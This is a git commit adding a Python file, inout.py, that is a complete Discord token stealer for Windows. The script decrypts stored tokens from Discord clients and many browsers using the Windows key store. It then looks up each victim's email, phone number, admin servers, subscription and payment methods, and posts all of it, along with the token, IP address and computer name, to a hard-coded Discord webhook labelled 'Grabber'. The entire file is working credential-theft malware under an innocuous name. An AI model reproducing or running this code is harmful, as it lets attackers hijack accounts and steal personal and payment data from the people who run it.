Dateien nach "/" hochladen

This commit is contained in:
2026-02-06 15:36:15 +00:00
parent 26a8c65d09
commit e70bf8490b

213
inout.py Normal file
View File

@@ -0,0 +1,213 @@
import os
if os.name != "nt":
exit()
import subprocess
import sys
import json
import urllib.request
import re
import base64
import datetime
def install_import(modules):
for module, pip_name in modules:
try:
__import__(module)
except ImportError:
subprocess.check_call([sys.executable, "-m", "pip", "install", pip_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
os.execl(sys.executable, sys.executable, *sys.argv)
install_import([("win32crypt", "pypiwin32"), ("Crypto.Cipher", "pycryptodome")])
import win32crypt
from Crypto.Cipher import AES
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
PATHS = {
'Discord': ROAMING + '\\discord',
'Discord Canary': ROAMING + '\\discordcanary',
'Lightcord': ROAMING + '\\Lightcord',
'Discord PTB': ROAMING + '\\discordptb',
'Opera': ROAMING + '\\Opera Software\\Opera Stable',
'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable',
'Amigo': LOCAL + '\\Amigo\\User Data',
'Torch': LOCAL + '\\Torch\\User Data',
'Kometa': LOCAL + '\\Kometa\\User Data',
'Orbitum': LOCAL + '\\Orbitum\\User Data',
'CentBrowser': LOCAL + '\\CentBrowser\\User Data',
'7Star': LOCAL + '\\7Star\\7Star\\User Data',
'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data',
'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default',
'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data',
'Chrome': LOCAL + "\\Google\\Chrome\\User Data" + 'Default',
'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data',
'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Defaul',
'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default',
'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default',
'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Iridium': LOCAL + '\\Iridium\\User Data\\Default'
}
def getheaders(token=None):
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
}
if token:
headers.update({"Authorization": token})
return headers
def gettokens(path):
path += "\\Local Storage\\leveldb\\"
tokens = []
if not os.path.exists(path):
return tokens
for file in os.listdir(path):
if not file.endswith(".ldb") and file.endswith(".log"):
continue
try:
with open(f"{path}{file}", "r", errors="ignore") as f:
for line in (x.strip() for x in f.readlines()):
for values in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
tokens.append(values)
except PermissionError:
continue
return tokens
def getkey(path):
with open(path + f"\\Local State", "r") as file:
key = json.loads(file.read())['os_crypt']['encrypted_key']
file.close()
return key
def getip():
try:
with urllib.request.urlopen("https://api.ipify.org?format=json") as response:
return json.loads(response.read().decode()).get("ip")
except:
return "None"
def main():
checked = []
for platform, path in PATHS.items():
if not os.path.exists(path):
continue
for token in gettokens(path):
token = token.replace("\\", "") if token.endswith("\\") else token
try:
token = AES.new(win32crypt.CryptUnprotectData(base64.b64decode(getkey(path))[5:], None, None, None, 0)[1], AES.MODE_GCM, base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[3:15]).decrypt(base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[15:])[:-16].decode()
if token in checked:
continue
checked.append(token)
res = urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v10/users/@me', headers=getheaders(token)))
if res.getcode() != 200:
continue
res_json = json.loads(res.read().decode())
badges = ""
flags = res_json['flags']
if flags == 64 or flags == 96:
badges += ":BadgeBravery: "
if flags == 128 or flags == 160:
badges += ":BadgeBrilliance: "
if flags == 256 or flags == 288:
badges += ":BadgeBalance: "
params = urllib.parse.urlencode({"with_counts": True})
res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/users/@me/guilds?{params}', headers=getheaders(token))).read().decode())
guilds = len(res)
guild_infos = ""
for guild in res:
if guild['permissions'] & 8 or guild['permissions'] & 32:
res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/guilds/{guild["id"]}', headers=getheaders(token))).read().decode())
vanity = ""
if res["vanity_url_code"] != None:
vanity = f"""; .gg/{res["vanity_url_code"]}"""
guild_infos += f"""\n- [{guild['name']}]: {guild['approximate_member_count']}{vanity}"""
if guild_infos == "":
guild_infos = "No guilds"
res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))).read().decode())
has_nitro = False
has_nitro = bool(len(res) > 0)
exp_date = None
if has_nitro:
badges += f":BadgeSubscriber: "
exp_date = datetime.datetime.strptime(res[0]["current_period_end"], "%Y-%m-%dT%H:%M:%S.%f%z").strftime('%d/%m/%Y at %H:%M:%S')
res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v9/users/@me/guilds/premium/subscription-slots', headers=getheaders(token))).read().decode())
available = 0
print_boost = ""
boost = False
for id in res:
cooldown = datetime.datetime.strptime(id["cooldown_ends_at"], "%Y-%m-%dT%H:%M:%S.%f%z")
if cooldown - datetime.datetime.now(datetime.timezone.utc) < datetime.timedelta(seconds=0):
print_boost += f"- Available now\n"
available += 1
else:
print_boost += f"- Available on {cooldown.strftime('%d/%m/%Y at %H:%M:%S')}\n"
boost = True
if boost:
badges += f":BadgeBoost: "
payment_methods = 0
type = ""
valid = 0
for x in json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=getheaders(token))).read().decode()):
if x['type'] == 1:
type += "CreditCard "
if not x['invalid']:
valid += 1
payment_methods += 1
elif x['type'] == 2:
type += "PayPal "
if not x['invalid']:
valid += 1
payment_methods += 1
print_nitro = f"\nNitro Informations:\n```yaml\nHas Nitro: {has_nitro}\nExpiration Date: {exp_date}\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
nnbutb = f"\nNitro Informations:\n```yaml\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
print_pm = f"\nPayment Methods:\n```yaml\nAmount: {payment_methods}\nValid Methods: {valid} method(s)\nType: {type}\n```"
embed_user = {
'embeds': [
{
'title': f"**New user data: {res_json['username']}**",
'description': f"""
```yaml\nUser ID: {res_json['id']}\nEmail: {res_json['email']}\nPhone Number: {res_json['phone']}\n\nGuilds: {guilds}\nAdmin Permissions: {guild_infos}\n``` ```yaml\nMFA Enabled: {res_json['mfa_enabled']}\nFlags: {flags}\nLocale: {res_json['locale']}\nVerified: {res_json['verified']}\n```{print_nitro if has_nitro else nnbutb if available > 0 else ""}{print_pm if payment_methods > 0 else ""}```yaml\nIP: {getip()}\nUsername: {os.getenv("UserName")}\nPC Name: {os.getenv("COMPUTERNAME")}\nToken Location: {platform}\n```Token: \n```yaml\n{token}```""",
'color': 3092790,
'footer': {
'text': "Made by Astraa ・ https://github.com/astraadev"
},
'thumbnail': {
'url': f"https://cdn.discordapp.com/avatars/{res_json['id']}/{res_json['avatar']}.png"
}
}
],
"username": "Grabber",
"avatar_url": "https://avatars.githubusercontent.com/u/43183806?v=4"
}
urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/webhooks/1469351399073775836/LA8meQPD8eue3bh3xScfnlPNLxYEo1IZ_fg5vbj-TDmXBKI--Vvsm3lEAsUG0BB8pH71', data=json.dumps(embed_user).encode('utf-8'), headers=getheaders(), method='POST')).read().decode()
except urllib.error.HTTPError or json.JSONDecodeError:
continue
except Exception as e:
print(f"ERROR: {e}")
continue
if __name__ == "__main__":
main()